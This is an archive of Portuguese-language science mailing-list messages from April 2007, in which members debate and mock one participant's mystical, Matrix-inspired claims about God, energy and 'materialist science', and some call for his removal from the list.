precisamos nos prender a semantica.

--- Ninguém precisa de semantica pra existir, precisa?
Pois então! A semantica da matrix pode ser uma boa
semantica, se bem usada. Uso bastante ela. E usei com
o Murilo porque sei que lhe é familar. Já conversamos
usando esta semantica antes.

Jeff >>> e que só você conseguiu se libertar dela para
"ver" a verdade.

--- Jeff, assim como não tem como vc se libertar do
que vc é, um ser, não tem como um personagem da matrix
se libertar da matrix, pois ele é a própria matrix.
Aquele negocio do Neo ir pra Zion é uma metáfora. Não
teria como o Neo sair da mundo da forma é ir para um
mundo sem forma. Cinema é forma. Como o autor do filme
ia conseguir passar a idéia de um mundo sem forma, se
todas as imagens na telas precisam ter forma, entende?


--- Sair da matrix é "viver no mundo da forma, sem ser
do mundo da forma". A semantica católica fala uma
coisa parecida com isto, algo assim "estar no mundo,
mas não ser do mundo".

--- Contudo, não há nada para se fazer, já somos o que
somos. Só que não sabemos o que somos. Este é o
obstáculo. Vc sabe quem vc é? Esta é uma pergunta de
vc pra vc mesmo. Só vc pode responder. E enquanto não
souber quem vc é, vc vai ter que acreditar no que os
outros te dizem. Sejam eles doutores cientista,
respeitados religiosos, ou iluminados mestres. Não
importa quem for, se acreditar, vc será apenas um
crente, como qualquer crente que vc tanto fala mal,
generaliza e condena.

--- Porém, quando vc souber que vc é, ai nada poderá
lhe enganar mais. Porque? Porque a verdade do que vc
é, é sempre a mesma, não muda nunca. Só muda de
semantica. Só muda de forma. Eis como funciona o
processo.

Jeff >>> ...que tudo é controlado por um deus, que
funciona como o Arquiteto da Matrix.

--- Chame do que quiser, o controle está ai, e não
adianta negar. Aliás, o próprio ato de negá-lo o
prova. Todo ato acontece no tempo, e é regido pelo
tempo, isto é inegável. Seja o ato de afirmar uma
coisa ou de negar a mesma coisa. Ambos os atos
acontecem no tempo. Eis ai um outro nome que podemos
dar ao controlador-trix "tempo". Sobre isto vou falar
no próximo artigo "sobre oniporesença".

Jeff >>> "A colher não existe", é só um mapa mental
que "Deustrix" colocou na minha cabeça! :-)

--- Isto é o que vc aprendeu no filme. Agora, isto é
uma verdade pra vc? É isto que importa. Veja, o que os
cientista materialistas falam pode ser veradade. Mas é
verdade pra vc? O que os quanticos falam pode ser
verdade, mas é verdade pra vc? O que os judeus falam
pode ser verdade, mas é verdade para vc? O que os
budistas falam pode ser verdade, mas é verdade pra vc?
É isto que importa, a verdade, e não a semantica.

Jeff >>> Bom, não posso provar que isso é impossível
mas, usando a navalha de Ockhan: se não precisa
existir, é mais provável que não exista.

--- Sim, é mais fácil acreditar em Ockhan do que em si
mesmo, não é? Eis porque tem gente querendo me
expulsar da lista. Eu sou apenas um espelho, o que as
pessoas veem em mim, no que escrevo, é o que está
dentro delas, no inconsciente. Mas elas não querem ver
o que está inconsciente. Vc acha que alguém gostou
quando freud disse que o comportamento da pessoas
estava baseado no inconsciente? Ninguém gostou. É
natural. Se o consciente gostasse do que está
inconsciente não o mantinha inconsciente, não é mesmo?
Mas suponho que vc seja uma pessoa nova, aberta, com
um coração de cientista que ainda não foi corrompido
pela luta do poder. Sendo assim, volto a lhe
aconselhor, vc é o livro. Não se deixe corromper por
ninguém que se faça de doutor ou dono da verdade
(autoridades). A verdade não tem dono. Vc é a verdade,
e ninguém pode tirar vc de vc.

Jeff >>> Podemos inventar N realidades...

--- Podemos inventar N mapas, realidade é uma só.

Jeff >>> Se você ainda não assistiu, assista "O 13º
andar", muito interessante.

--- Valeu! Já assisti sim.

Jeff >>> Pode até te fazer "mudar de realidade" :-)

--- Jeff, investigue esta metáfora, pense no
significado dela: o mapa não é o território.


sinceramente
ferrari





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SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 13:22

Olá Jose Carlos

JC: "Vou dispensar os elogios iniciais e ir direto ao ponto: a lista
tem um preconceito assumido contra o Ferrari desde há muito."

Sigo seu exemplo, e dispenso os elogios iniciais (você sabe a
admiração que tenho pro você e seus textos..:-). E digo que tem razão,
sobre tudo, ou quase tudo, preconceito, intolerância e tudo o mais.

Mas, e é nisso que discordamos, um pouco (só um pouquinho), eu penso
que é justificável e até necessário esses comportamentos, que em
outras circunstâncias seriam daninhos ou incorretos.

Vou tentar explicar com cuidado, para que não se pense que eu defendo
a intolerância e o preconceito de modo geral, ok?

A ciência, seu método, consiste em um sistema de "filtros", protocolos
de segurança, etc, que tem a finalidade fundamental de "separar" dados
e permitir conclusões. Separar tem forte componente de "intolerância",
pois não se pode "tolerar" desvios ou falhas ou mesmo condescendência
dentro desse rigor.

Quando uma alegação é apresentada, é importante que os filtros, alguns
que poderiam se identificar com "pre-conceito" sejam aplicados. Um
estudo sobre uma nova droga que afetaria o metabolismo bassal de
células hepáticas, e que apresentasse sua ação ou parte do mecanismo
de ação como sendo "efeito de um ectoplasma espiritual", teria
necessariamente de ser recebido com "pre-conceito", ou alguma forma de
restrição.

O protocolo para demonstrar a validade deste estudo seria MUITO mais
rigoroso e muito mais "preconceituoso" que outro estudo sem o
ectoplasma, não?

É, eu sei, um assunto delicado. Vou tentar outro exemplo, para
melhorar minha explicação..:-)

A democracia é uma das mais importantes ferramentas já criadas, e eu
penso um dos componentes mais importantes em nossa sociedade. mas
mesmo ela não é absoluta e existem situações em que ela é prejudicial
ou perigosa. Sei que parece uma declaração profundamente incorreta e
anti-democrática (o que é uma verdadeira ofensa hoje em dia), mas,
pense na seguinte situação: um barco a vela, de 60 pés, 25
tripulantes, uma tempestade em alto mar, e uma ordem do capitão,
urgente e fundamental para manter a vida de todos, não é cumprida,
pois os 24 tripulantes decidem discutir e votar a medida, antes de
cumpri-la.

Nessa situação hipotética, o risco de aplicar a democracia supera em
muito o risco de obedecer uma ordem autoritária, de quem tem, em tese,
mais conhecimento e informação.

A ciência, seu sistema de validação rigoroso, não é democrática. Não é
"tolerante", se isso significa aceitar o diferente, por seu direito de
ser diferente e não pela validade do que defende, e certamente aplica
sua visão de forma que poderia, em última análise, ser tachada de
"preconceituosa". E nada disso é necessariamente ruim ou errado. Pelo
contrário.

Eu respeito o Ferrari, e não sugeri sua expulsão da lista. Como disse,
minha oposição é apenas contra o flood de textos sem sentido. E aqui
um adendo importante, o que incomoda não é a discordância, mas a
irracionalidade do texto. Você usou o Jose Renato como exemplo, mas os
textos dele são absolutamente mais racionais, em termos de capacidade
de entendimento, que os do Ferrari.

Posso discordar, e discordo, de tudo que o Jose Renato escreve, mas
entendo o que ele escreve. Ele se esforça para apresentar uma
argumentação coerente (ainda que invalida) para seus pontos, enquanto
o Ferrari parece apenas copiar e colar textos gerados por mecanismos
automáticos de texto aleatório..:-)

Se um co-listeiro fizesse apenas isso, enviasse textos gerados
aleatoriamente em mecanismos automáticos, você não concordaria em
bloquear essas mensagens como flood? E isso difere de eventuais
discussões off topic que sempre temos por aqui, não?

De toda forma, penso que a sugestão do Manuel é a melhor política, se
eu não responder a maluquices, não recebo respostas mais malucas
ainda..:-) Embora a maioria dos co-listeiros seja bem combativa, e
ache difícil não responder a provocações mais óbvias, acho que seria
uma solução mais adequada e eficaz (também acho desagradável por
demais, expulsões e mesmo moderação de mensangens).

A última mensagem do Takata para o Ferrari foi um primor de ironia bem
aplicada, e deve resolver o problema..:-) Reproduzo abaixo, por ser
uma aula de mestre:


Ferrari: Takata, assim não vale nada, porque vc está apenas repetindo
algo que eu disse, sem consciencia do que vc está dizendo.

Takata: O que é "valer"? O que é "consciência"?


Um abraço.

Homero







SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 13:33

Olá takata!

Takata >>> O que é "valer"?

--- É falar com conhecimento de causa.

Takata >>> O que é "consciência"?

--- É isto que vc não. Pois se tivesse não precisaria
ficar te apontando. Agora, como vc pode ter o que não
tem? Tem que investigar por si. Já te disse, só posso
apontar, ver é por sua conta.


sinceramente
ferrari



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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 13:49

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> O que é "valer"?
>
> --- É falar com conhecimento de causa.

O que é "conhecimento"?

> Takata >>> O que é "consciência"?
>
> --- É isto que vc não. Pois se tivesse não precisaria
> ficar te apontando. Agora, como vc pode ter o que não
> tem? Tem que investigar por si. Já te disse, só posso
> apontar, ver é por sua conta.

O que é "apontar"? O que é "ver"?

[]s,

Roberto Takata




SUBJECT: Re: PEDIDO DE EXCLUSAO
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 14:12

Olá Ricardo!

Voce insiste em não falar de mim diretamente comigo.
Não mordo não. Mas sou franco. Vou fazer um
comentários aqui:

Ricardo >>> Os listeiros estão tentando, todo o tempo,
trazer a discussão para o campo da ciência.

--- Ciencia materilista, vc quer dizer? E como não
caio mais neste truque, eis o porque do esforço em
tentar converter a pobre alma ignorante.

Ricardo >>> mas o Ferrari insiste em uma visão, como
em suas próprias palavras "livre da realidade".

--- Nada de livre da realidade. Isto é distorção sua.
É livre do paradigma materialismo dos cientistas, só
isto.

Ricardo >>> Na verdade livre da ciência também.

--- E por acaso vc sabe o que é "fazer ciencia". Se vc
sabe, me diga: "o que é fazer ciencia?". Porque tudo
isto começou e está acontecendo porque ninguém sabe.
Se soubesse explicaria e estaria tudo em paz. Contudo,
eis a confusão. Enfim, se vc não sabe o que é "fazer
ciencia", porque me acusa sem saber?

Ricardo >>> Não tem nada a ver com ser ou não nobre,
mas sim com ser ou não objetivo. É para isso que são
criadas listas por tema: objetividade.

--- Tai uma ótima pergunta. Me diga: qual é o objetivo
da ciencia? Depois que responder, me pergunte:
ferrari, qual é o seu objetivo? Ai então comparamos e
vemos se vc está certo em me acusa do que está me
acusando.

--- Outra coisa: não existe objetividade. Mas como
posso lhe explicar isto se vc nem sabe o que é "fazer
ciencia".


sinceramente
ferrari




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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 14:26

Olá takata!

Takata >>> O que é "conhecimento"?

Esperto vc, Takata! Eu te fiz esta pergunta primeiro,
e vc, rapitamente fugiu dela. Ou vai negar isto? A
prova tai, nos arquivos. Bem, como perguntei primeiro
vc tem que responder primeiro.

Isto não significa que estou figindo da resposta assim
como vc fugiu. Eu tenho a minha resposta. Esta aqui,
sempre. Porém, se quiser a minha resposta "codificada"
em palavras, terá de ter paciencia e esperar as etapas
consecutivas do blog. Responder esta pergunta é um dos
propósitos dele. Porém, como o ser humano
(microcosmos) está inserido em um ser universal
(macrocosmos), prefiro seguir esta ordem para
contrução mental não ficar solta no nada, como faz o
materialismo.

Mas enfim, vc vai responder a pergunta ou vai fugir de
novo? Sinceramente, Takata, vc não precisa fugir. Sei
que o preço de largar não do materialismo é receber
pedradas dos materialistas. Mas olha o beneficio, as
pedras vão deixar de existir!


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Em defesa do paradoxo
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 14:33

Olá Zé!

Zé >>> Considero o Ferrari um bom amigo, um poeta
razoável e um maluco de carteirinha carimbada.

--- Zé, quer saber o que acho de vc? Hehehehe...
Também te considero um bom amigo e um maluco de
carteirinha, quanto a poesia, bem... amigos, ok?
hehehehehe....

--- Sobre a defesa do paradoxo, ato nobre, como todo
ato de um professor de verdade e pela verdade.


abçomano
ferrari



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SUBJECT: C-list, C-ego ou Cego?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 14:54

Olá Homero!

Homero >>> O problema do Ferrari não é pensar o que
ninguém pensou, é não pensar nada de forma coerente,
racional, e apenas elencar bobagens e frases que não
fazem sentido, não podem ser validadas, provadas, ou
mesmo compreendidas de forma inteligível.

--- Pois é Homero, dá doendo, né? É por isto que vc
não consgue parar em cima da tamancas e quer me pegar
de pau de qualquer jeito. O problema é que faz sentido
sim, que não é bobagem não, e pior, por mais que vc
deseje e tente, não consegue ganhar no grito.

--- Mas e sua autoridade, como é que fica? "Ouçam o
que eu estou disendo, ignorem o ferrari, ele só fala
bobagens, a verdade está aqui comigo e com meus
companheiros materialistas".

--- Pense no seguinte, o que está acontecendo está
acontecendo, é vc, embora queira muito, não pode
evitar. Mas porque? Porque vc não pode evitar? E mais
importante ainda: porque deseja evitar?

--- Tá com medo de que, Homero? Do desconhecido? Mas a
vida não é o desconhecido de instante em instante?

--- Caro companheiro de viagem, estamos no mesmo
barco, e não adianta me jogar no mar, pois o que te
incomoda não é o ferrari, o que te imcoda é o que vai
sempre te incomodar: "vc não sabe". Jogue o ferrari no
mar, e vem outro, e outro, é outro. E cada
acontecimento virá (seja em forma de ferrari ou de
qualquer outra forma) sempre pra te lembrar da mesma
coisa: "vc não sabe". E também que:

--- Não adianta fugir, nem mentir pra si mesmo.


sinceramente
ferrari




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SUBJECT: Re: [ciencialist] Re: Jeff: Como funciona o processo...?
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 15:25

Fala Ferrari!

>
> --- Nem tudo num sitio é vida boa e fácil. Tirar leite
> da teta da vaca, por exemplo, requer maestria de
> pianista. Cuidar dos porcos é bem fedorento. E por
> mais que vc carpir, o mato teimoso vai sempre voltar a
> crescer. Contudo, se a procura cientifica-proto-hyppie
> continuar, vou até pensar em lotear uns por aqui.
>

Mas eu não quero ter vacas e nem porcos no meu sítio! Não quero viver
dele...
Eu gostaria de ter um sítio com uma parte de mata nativa, com um riacho,
gostaria de fazer uma pequena represa para criar umas carpas, uns marrecos,
umas tartarugas... gostaria de fazer um jardim botânico com espécies
exóticas, um pomar e construir uma boa casa no meio. É isso :-) Nada de
plantações ou criações comerciais... Nada de estresse... :-)

Bom, voltando ao tópico...

>
> Jeff >>> Hmmmm... Eu estava reconhecendo as suas
> idéias de algum lugar... :-) Você acredita que vivemos
> em algo como a Matrix
>
> --- não acredito que vivemos. eu sei que vivo. sei de
> mim, o resto é mapa. e não sei que vivo na matrix, sei
> que vivo no que vive. Se chamo isto que vive de vida,
> de matrix, de deus, de eternidade, de matéria, de sopa
> quantica, de eletrons, etc, não muda a realidade disto
> que vive, é apenas um recurso semantico. Não
> precisamos nos prender a semantica.
> Ninguém precisa de semantica pra existir, precisa?
>

Para existir não, mas para se comunicar sim! :-)

>
> --- Contudo, não há nada para se fazer, já somos o que
> somos. Só que não sabemos o que somos. Este é o
> obstáculo. Vc sabe quem vc é?
>

Olha, temos uma teoria satisfatória, que é a *evolução das espécies por
seleção natural*, o que causou, pelas diferenças dos ambientes (sempre em
transformação), todas as espécies que temos hoje, inclusive nós: animais de
savana. Eis o que somos: um dos produtos de um sistema caótico (bilhões de
anos de seleção natural sem rumo num planeta)

Eu não sei se você não consegue entender que não precisa mais nada além
disso ou não quer aceitar porque acha que assim "não tem graça"...

>
> Jeff >>> ...que tudo é controlado por um deus, que
> funciona como o Arquiteto da Matrix.
>
> --- Chame do que quiser, o controle está ai, e não
> adianta negar.

Entenda que não precisa existir um "controle central", como um Deus... tudo
parece controlado porque tudo é selecionado naturalmente, entende? Não é a
camada de ozônio que existe "para" nos proteger, nós é que existimos desta
forma porque ela existe, endente? Culturalmente somos induzidos a colocar as
coisas numa ordem que dá a impressão de que algo foi colocado alí
propositalmente, que tudo existe com um objetivo... Mas, se você inverte a
ordem, consegue explicar sem precisar de nada controlando, saca?

>
> Eu sou apenas um espelho, o que as
> pessoas veem em mim, no que escrevo, é o que está
> dentro delas, no inconsciente. Mas elas não querem ver
> o que está inconsciente. Vc acha que alguém gostou
> quando freud disse que o comportamento da pessoas
> estava baseado no inconsciente? Ninguém gostou. É
> natural. Se o consciente gostasse do que está
> inconsciente não o mantinha inconsciente, não é mesmo?
>

E então a verdade já vem "de fábrica" no nosso inconciente? "Deus" colocou
alí pra gente procurar?

>
> Mas suponho que vc seja uma pessoa nova, aberta, com
> um coração de cientista que ainda não foi corrompido
> pela luta do poder. Sendo assim, volto a lhe
> aconselhor, vc é o livro. Não se deixe corromper por
> ninguém que se faça de doutor ou dono da verdade
> (autoridades). A verdade não tem dono. Vc é a verdade,
> e ninguém pode tirar vc de vc.
>

Nem a ciência tem dono. Qualquer um que consegue raciocinar sem faltar com a
lógica faz ciência. Não acho que você seja incapaz disso, mas acho que você
busca ter satisfação com suas conclusões, o que implica em direcionar o
raciocínio dando "saltos lógico" e desconsiderando fatos.

[]´,s
Jeff.



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 16:30

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> O que é "conhecimento"?
>
> Esperto vc, Takata! Eu te fiz esta pergunta primeiro,
> e vc, rapitamente fugiu dela. Ou vai negar isto?

Vou negar porq eu não fugi, eu respondi
(http://br.groups.yahoo.com/group/ciencialist/message/61889). Quem
está fungindo é vc. O que é "conhecimento"?

E tem outras q vc tb não respondeu: O que é "apontar" e o que é "ver"?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] C-list, C-ego ou Cego?
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 16:41

Hehehe... filosofia digna de BBB 7.

Quanta porcaria.

Ateh
Luis Brudna


On 4/4/07, Ferrari <emailferrari@yahoo.com.br> wrote:
> --- Tá com medo de que, Homero? Do desconhecido? Mas a
> vida não é o desconhecido de instante em instante?
>
> sinceramente
> ferrari
>


SUBJECT: Re: [ciencialist] C-list, C-ego ou Cego?
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 17:18

Olá Brudna

Brudna: "Quanta porcaria."

Ainda bem que não fui eu que escrevi isso (embora concorde plenamente..:-)

Ferrari: "Tá com medo de que, Homero? Do desconhecido? Mas a vida não é o desconhecido de instante em instante?"

Por isso a discussão é impossível, a pretensa "argumentação" é irrelevante, irracional, quando não tola e absurda. Não tenho medo de nada, nem é o caso de ter medo. Não estamos debatendo seres imaginários, mas ocorrências lógicas e materiais. Tudo o que a ciência pretende é justamente descobrir o desconhecido e para isso desenvolveu um método que tem produzido conhecimento confiável. Como sei que é confiável? Porque porduz desdobramentos, porque explica, com coerência, aspectos do mundo que podem ser verificados, e porque trouxe novos dados e faz previsões corretas.

O que sua elocubração sem sentido trouxe, Ferrari? Além de intermináveis discussões, que finaliza com tolos "eu sei, eu sei..:-)", nada, absolutamente nada.

Eliminemos a ciência, todo conhecimento que ela produziu até o momento, e o mundo seria irreconhecivel, e bem pior em qualquer modo de analisar que se adote, até mesmo de seu ponto de vista. Eliminemos o Ferrari e suas "verdades" e não muda NADA (na verdade, seria um mundo melhor, um pouquinho menos desagradável e tolo..:-).

Semantica NÃO é um modo de atrapalhar você e suas verdades, mas uma forma de definir e de comunicar pensamentos de forma segura e racional. Sem se "prender a semantica", não há possibilidade de comunicação racional ou lógica.

Ferrari: " O problema é que faz sentido
sim, que não é bobagem não, e pior, por mais que vc
deseje e tente, não consegue ganhar no grito. "

Não, não faz o menor sentido. A prova disso é que podemos manter esta "discussão" indefinidamente, com você afirmando "faz sentido" e eu afirmando "não faz". Mas não pode provar que faz sentido, pois não se prende a "semantica", nem consegue apresentar um argumento válido ou evidência verificável. Já o conhecimento científico pode ser provado, demonstrado de forma confiável, a ponto de você usar um computador, fruto desse conhecimento, e não a telepatia ou seu amigo imaginário, sagradopara escrever asneiras sem parar.

Ferrari: "Pense no seguinte, o que está acontecendo está
acontecendo, é vc, embora queira muito, não pode
evitar. Mas porque? Porque vc não pode evitar? E mais
importante ainda: porque deseja evitar? "

Bullshit. Enorme, mal cheirosa e volumosa bullshit..:-) Perguntas sem sentido, frases mal ajambradas, e nada além de pretensa poesia. Não tem premissas verificáveis, não tem conclúsões válidas, e faz saltos lógicos sem pé nem cabeça. "O que está acontencendo, está acontecendo" é uma tautologia, não significa nada, não quer dizer nada. Deus é tudo, tudo é deus, nada faz parte de tudo, deus é nada, e vai por aí afora..:-) Ridiculo, no mínimo, tolo na maior parte do tempo.

Ferrari: " Tá com medo de que, Homero? Do desconhecido? Mas a vida não é o desconhecido de instante em instante?"

Irrelevante. O desconhecido é algo que não se conhece. Para conhecer, é preciso usar a ciência, se for material e objetivo. E é só, não tem o que ter medo ou não ter medo (a não ser seu medo, patológico, de não ser nada mais que um animal arrogante, primata pelado, que pensa ser especial e importante para o universo..:-).

Ferrari: "E cada
acontecimento virá (seja em forma de ferrari ou de
qualquer outra forma) sempre pra te lembrar da mesma
coisa: "vc não sabe". "

Irrelevante. Sempre existirão coisas a seber, o que importa é o grau de confiabilidade das coisas que já sabemos. Este é maior no conhecimento científico, menor nos conhecimentos subjetivos, e inexistente no seu caso.

E devo lembra-lo de que: "o que é saber?", "o que é não saber?", o que é lembrar?", "o que é sempre?"..:-) E vá ver se eu estou na esquina, e fique por lá pregando suas sandices ao vento..:-)

Homero



----- Original Message -----
From: Luis Brudna
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 04, 2007 4:41 PM
Subject: Re: [ciencialist] C-list, C-ego ou Cego?


Hehehe... filosofia digna de BBB 7.

Quanta porcaria.

Ateh
Luis Brudna

On 4/4/07, Ferrari <emailferrari@yahoo.com.br> wrote:
> --- Tá com medo de que, Homero? Do desconhecido? Mas a
> vida não é o desconhecido de instante em instante?
>
> sinceramente
> ferrari
>




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ciencia é conhecimento e conhecimento é...
FROM: Luiz Carvalho <lercarvalho@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 17:36

At 16:30 4/4/2007, you wrote:

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> O que 頦quot;conhecimento"?
>
> Esperto vc, Takata! Eu te fiz esta pergunta primeiro,
> e vc, rapitamente fugiu dela. Ou vai negar isto?

Vou negar porq eu n㯠fugi, eu respondi
(http://br.groups.yahoo.com/group/ciencialist/message/61889). Quem
estᠦungindo 頶c. O que 頦quot;conhecimento"?

E tem outras q vc tb n㯠respondeu: O que 頦quot;apontar" e o que 頦quot;ver"?

[]s,

Roberto Takata


Conhecimento é um dos nomes da ciencia.

O que é Ciencia ?

O que é Ciencia-list ?

Perguntar pro dono resolve o problema ?

L.E.











=







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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: PEDIDO DE EXCLUSAO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 17:54

Acentuo meu pedido de exclusão pois a moderação não funcionou!
Se vcs querem continuar a ler tolices (e tentar responder racionalmente a algo irracional) que fiquem por aqui.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 4 de abril de 2007 14:12
Assunto: [ciencialist] Re: PEDIDO DE EXCLUSAO


Olá Ricardo!

Voce insiste em não falar de mim diretamente comigo.
Não mordo não. Mas sou franco. Vou fazer um
comentários aqui:

Ricardo >>> Os listeiros estão tentando, todo o tempo,
trazer a discussão para o campo da ciência.

--- Ciencia materilista, vc quer dizer? E como não
caio mais neste truque, eis o porque do esforço em
tentar converter a pobre alma ignorante.

Ricardo >>> mas o Ferrari insiste em uma visão, como
em suas próprias palavras "livre da realidade".

--- Nada de livre da realidade. Isto é distorção sua.
É livre do paradigma materialismo dos cientistas, só
isto.

[...]


SUBJECT: Re: [ciencialist] Re: PEDIDO DE EXCLUSAO
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 20:44

Olá Ferrari,

Vou responder em pvt, ok?

É que também não acho que se prolongar neste tipo de discussão aqui na lista
contribua para nada (e por isso não vinha respondendo).

Mas vou responder pro teu e-mail o que acho. Espero que vc também não morda
pelo e-mail pessoal :)

Grande abraço,

Ricardo

----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 2:12 PM
Subject: [ciencialist] Re: PEDIDO DE EXCLUSAO


> Olá Ricardo!
>
> Voce insiste em não falar de mim diretamente comigo.
> Não mordo não. Mas sou franco. Vou fazer um
> comentários aqui:
>
> Ricardo >>> Os listeiros estão tentando, todo o tempo,
> trazer a discussão para o campo da ciência.
>
> --- Ciencia materilista, vc quer dizer? E como não
> caio mais neste truque, eis o porque do esforço em
> tentar converter a pobre alma ignorante.
>
> Ricardo >>> mas o Ferrari insiste em uma visão, como
> em suas próprias palavras "livre da realidade".
>
> --- Nada de livre da realidade. Isto é distorção sua.
> É livre do paradigma materialismo dos cientistas, só
> isto.
>
> Ricardo >>> Na verdade livre da ciência também.
>
> --- E por acaso vc sabe o que é "fazer ciencia". Se vc
> sabe, me diga: "o que é fazer ciencia?". Porque tudo
> isto começou e está acontecendo porque ninguém sabe.
> Se soubesse explicaria e estaria tudo em paz. Contudo,
> eis a confusão. Enfim, se vc não sabe o que é "fazer
> ciencia", porque me acusa sem saber?
>
> Ricardo >>> Não tem nada a ver com ser ou não nobre,
> mas sim com ser ou não objetivo. É para isso que são
> criadas listas por tema: objetividade.
>
> --- Tai uma ótima pergunta. Me diga: qual é o objetivo
> da ciencia? Depois que responder, me pergunte:
> ferrari, qual é o seu objetivo? Ai então comparamos e
> vemos se vc está certo em me acusa do que está me
> acusando.
>
> --- Outra coisa: não existe objetividade. Mas como
> posso lhe explicar isto se vc nem sabe o que é "fazer
> ciencia".
>
>
> sinceramente
> ferrari
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
> http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> Para receber meus textos inéditos, envie um email para:
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SUBJECT: Re: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <emailferrari@yahoo.com.br>
DATE: 04/04/2007 21:12

Ferrari:

Cada devoto cristão poderia transformar essa energia em trabalho, energia de fonte limpa,: basta estudar um meio (milagre) para guardá-la.
Montem a Usina Frei Galvão deEnergia Deífica para abastecer todas as comunidades carentes.

Apenas uma idéia pois a crise de energia está se agravando.

um abraço,
silvio
----- Original Message -----
From: Ferrari
To: emailferrari@yahoo.com.br
Sent: Monday, April 02, 2007 3:04 PM
Subject: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)


A FORÇA QUE NUNCA SECA
http://lampadadealadim.blogspot.com

(sobre onipotência)

<<< por isto uma força me leva a cantar / por isto
esta força estranha no ar / por isto é que eu canto
não posso parar >>> (Caetano Veloso)

Embora não possamos tocar deus com as mãos, ou vê-lo
com os olhos, ou escutá-lo com os ouvidos, ele nos é
revelado através de sua constante manifestação e da
nossa capacidade de percepção. Assim, podemos vê-lo
iluminando um quarto escuro, senti-lo no calor do
fogo, ouvi-lo numa musica. Som, luz, calor são alguns
exemplos de como podemos constantemente detectar,
decodificar e deduzir deus através da sua constante
manifestação.

A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.

Já aconteceu de você estar no cinema e, de repente,
acabar a energia? O que aconteceu com cada uma das
formas cinematográficas que estavam se manifestando na
tela? Todas desapareceram simultaneamente, não foi?
Quando falta eletricidade num parque de diversões, o
que acontece? Todos os brinquedos param
simultaneamente, não é? Analogamente, a manifestação
de deus é a força responsável por transformar
(atualizar) todas as formas do conteúdo universal.
Desligada a manifestação universal cessariam
simultaneamente todas as formas e transformações
(evolução). O universo seria apenas um conteúdo
inerte, assim como um mar sem ondas ou um filme sem
projeção. Popularmente chamamos a manifestação
universal de energia. Sendo assim, cabe aqui e agora
outra definição: o que é energia?

ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
ETERNIDADE. É O AMOR DE DEUS.

Energia é a força que nunca seca. É o amor de deus, ou
como diz a semantica cristã: é o sangue de cristo que
é (constantemente) derramado por nós. Ou seja, energia
universal é o que mantém funcionando o eterno processo
de transformação das formas (evolução). É a força
eterna que mantém os brinquedos (formas) do parque de
diversões (cérebro de deus) em funcionamento
constante.

No principio era "o" verbo, diz a semantica cristã. O
que isto significa? Significa que o amor de deus é "o"
verbo, causa de todos os outros verbos. Ou seja, é a
continua manifestação de deus que faz o universo se
conjugar no presente contínuo. Pense nas quatro forças
que a fisica teoriza: eletricidade, magnetismo, força
fraca e forte. Como essas quatro forças poderiam
existir sem a manifestação universal? Não poderiam. As
quatro forças que a ciência teoriza é o amor de deus
visto por quatro teorias diferentes.

O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.

Imagine que você é um açougueiro que precisa moer um
quilo de carne de vaca, porém, como a tomada na parede
do seu açougue é vegetariana, ela se recusa a lhe
fornecer energia. Situação absurda, não é? Mas este
exemplo serve para nos mostrar que a energia universal
